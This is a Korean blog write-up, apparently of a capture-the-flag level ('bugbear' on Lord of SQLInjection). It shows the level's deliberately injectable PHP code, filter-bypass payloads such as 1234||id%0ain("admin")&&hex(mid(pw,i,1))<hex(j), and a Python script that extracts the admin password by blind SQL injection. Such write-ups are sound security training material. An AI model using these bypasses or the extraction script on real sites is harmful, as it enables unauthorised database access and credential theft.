wargame ๐Ÿด‍โ˜ ๏ธ write-up/Lord of SQLInjection

bugbear

Kortsec1 2023. 7. 30. 23:48

1. Code

<?php 
  include "./config.php"; 
  login_chk(); 
  $db = dbconnect(); 
  if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~"); 
  if(preg_match('/\'/i', $_GET[pw])) exit("HeHe"); 
  if(preg_match('/\'|substr|ascii|=|or|and| |like|0x/i', $_GET[no])) exit("HeHe"); 
  $query = "select id from prob_bugbear where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"; 
  echo "<hr>query : <strong>{$query}</strong><hr><br>"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id']) echo "<h2>Hello {$result[id]}</h2>"; 
   
  $_GET[pw] = addslashes($_GET[pw]); 
  $query = "select pw from prob_bugbear where id='admin' and pw='{$_GET[pw]}'"; 
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("bugbear"); 
  highlight_file(__FILE__); 
?>

 

2. Condition

' substr ascii = or and ๊ณต๋ฐฑ like 0x ๋ฅผ ํ•„ํ„ฐ๋ง ํ•œ๋‹ค.

์•„๋ž˜ pw๊ฐ’ ๋น„๊ต ๋ถ€๋ถ„์„ ๋ณด๋ฉด ์•Œ ์ˆ˜ ์žˆ๋“ฏ์ด blind-sqlinjection ๋ฌธ์ œ์ด๋‹ค.

 

 

3. Solution

Python์„ ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•˜๋ฉฐ ์ฐจ๊ทผ์ฐจ๊ทผ ๋ฌธ์ œ๋ฅผ ํ•ด๊ฒฐํ•ด ๋‚˜๊ฐ€๋ณด์ž.

ํฌ๊ฒŒ ๋‘ ๋ถ€๋ถ„์œผ๋กœ ๋‚˜๋ˆ„์–ด ๊ธธ์ด๋ถ€ํ„ฐ, pw ๊ฐ’๊นŒ์ง€ ์ง„ํ–‰ํ•ด ๋ณด์•˜๋‹ค.

 

a. Length of pw

๋ณ€์ˆ˜๋ช… ๊ฐ’
no 1234||id%0ain("admin")&&length(pw)<i

 

&๋Š” url์—์„œ ์•ฝ์†๋œ ๊ธฐ๋Šฅ์ด ์žˆ์œผ๋ฏ€๋กœ, %26์œผ๋กœ ์ธ์ฝ”๋”ฉ ํ•˜์—ฌ ์ž‘์„ฑํ•˜์˜€๋‹ค.

๋˜ํ•œ, ๊ฐ€์žฅ ๋งˆ์ง€๋ง‰ i ๋Š” python ์Šคํฌ๋ฆฝํŠธ๋ฅผ ํ†ตํ•ด ์ˆ˜๋ฅผ ์ง‘์–ด๋„ฃ์„ ๊ฒƒ์ด๋‹ค.

 

์šฐํšŒ๋ฅผ ์ดํ•ดํ•˜๊ธฐ ์œ„ํ•ด์„  ๋ณธ๋ž˜ ๊ธฐ๋ณธ ๊ตฌ๋ฌธ์„ ์ฐธ๊ณ ํ•˜๋ฉด ์‰ฝ๋‹ค.

1234 or id = 'admin' and length(pw)=1

 

์šฐํšŒํ•œ ๋‚ด์šฉ์„ ํ‘œ๋กœ ๋ณด๊ธฐ์ข‹๊ฒŒ ์ •๋ฆฌํ•ด๋ณด๊ฒ ๋‹ค.

๊ธฐ๋ณธ ์šฐํšŒ
or ||
๊ณต๋ฐฑ(%20) ๊ฐœํ–‰(%0a)
= in, <
' "
and &

 

= ์„ ์šฐํšŒํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉํ•œ ํ•จ์ˆ˜ in์€, list์† ํ•˜๋‚˜๋ผ๋„ ๊ฐ™์€ ๊ฐ’์ด ์žˆ๋‹ค๋ฉด ์ฐธ์„ ๋‚ด๋ณด๋‚ด๋Š” ํ•จ์ˆ˜์ด๋‹ค.

 

์ฟผ๋ฆฌ๋ฅผ ๋ณด๋‚ด๋ณด๋ฉด, Hello admin์ด ์„ฑ๊ณต์ ์œผ๋กœ ๋‚˜์˜จ๋‹ค.

๋ชจ๋‘ ์•Œ๋‹ค์‹œํ”ผ ์ด๋Š” ์šฐ๋ฆฌ๊ฐ€ blind-sqlinjection์— ์‚ฌ์šฉ๋  ์ฐธ/๊ฑฐ์ง“ ๊ตฌ๋ถ„์ ์ด ๋  ๊ฒƒ์ด๋‹ค.

 

 

b. Value of pw

๋‹ค์Œ์€ ์ •ํ™•ํ•œ pw ๊ฐ’์„ ๊ตฌํ•  ๊ฒƒ์ด๋‹ค.

๋ณ€์ˆ˜๋ช… ๊ฐ’
no 1234||id%0ain("admin")&&hex(mid(pw,i,1))<hex(j)

 

๊ธฐ๋ณธ๊ตฌ๋ฌธ๊ณผ ์šฐํšŒ ๋‚ด์šฉ์€ ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

1234 or id = 'admin' and ascii(substr(pw,i,1))=j

 

๊ธฐ๋ณธ ์šฐํšŒ
ascii hex
substr mid

 

์ด์ œ python ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์ž‘์„ฑํ•ด๋ณด์ž.

 

import requests

cookie = {'PHPSESSID' : '~~~~'}

for i in range(1,21):
    url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?\
            no=1234%%0a||%%0aid%%0ain%%0a(\"admin\")%%0a%%26%%26%%0alength(pw)<%d" % i
    res = requests.get(url, cookies=cookie)
    
    if "Hello admin" in res.text:
        pw_len = i-1
        print("Length of pw : %d" % pw_len)
        break
        
pw_value = ""
for i in range(pw_len):
    for j in range(33,127):
        url = "https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?\
                no=1234%%0a||%%0aid%%0ain%%0a(\"admin\")%%0a%%26%%26%%0ahex(mid(pw,%d,1))<hex(%d)" % (i+1, j)
        res = requests.get(url, cookies=cookie)

        if "Hello admin" in res.text:
            pw_value += chr(j-1)
            print("pw(%d) : %s" % (i+1, pw_value))
            break

 

์‹คํ–‰ ๊ฒฐ๊ณผ๋Š” ์•„๋ž˜์™€ ๊ฐ™๋‹ค.

 

๋”๋ณด๊ธฐ
Length of pw : 8
pw(1) : 5
pw(2) : 52
pw(3) : 52d
pw(4) : 52dc
pw(5) : 52dc3
pw(6) : 52dc39
pw(7) : 52dc399
pw(8) : 52dc3991

 

๊ฒฐ๊ณผ์ ์œผ๋กœ ๋‚˜์˜จ pw๊ฐ’์„ ๋ณด๋‚ด์ฃผ๋ฉด ๋ฌธ์ œ๊ฐ€ ํ•ด๊ฒฐ๋œ๋‹ค.

 

 

 

'wargame ๐Ÿดโ€โ˜ ๏ธ write-up > Lord of SQLInjection' ์นดํ…Œ๊ณ ๋ฆฌ์˜ ๋‹ค๋ฅธ ๊ธ€

assasin  (0) 2023.08.01
giant  (0) 2023.08.01
darkknight  (0) 2022.04.02
golem  (0) 2022.04.02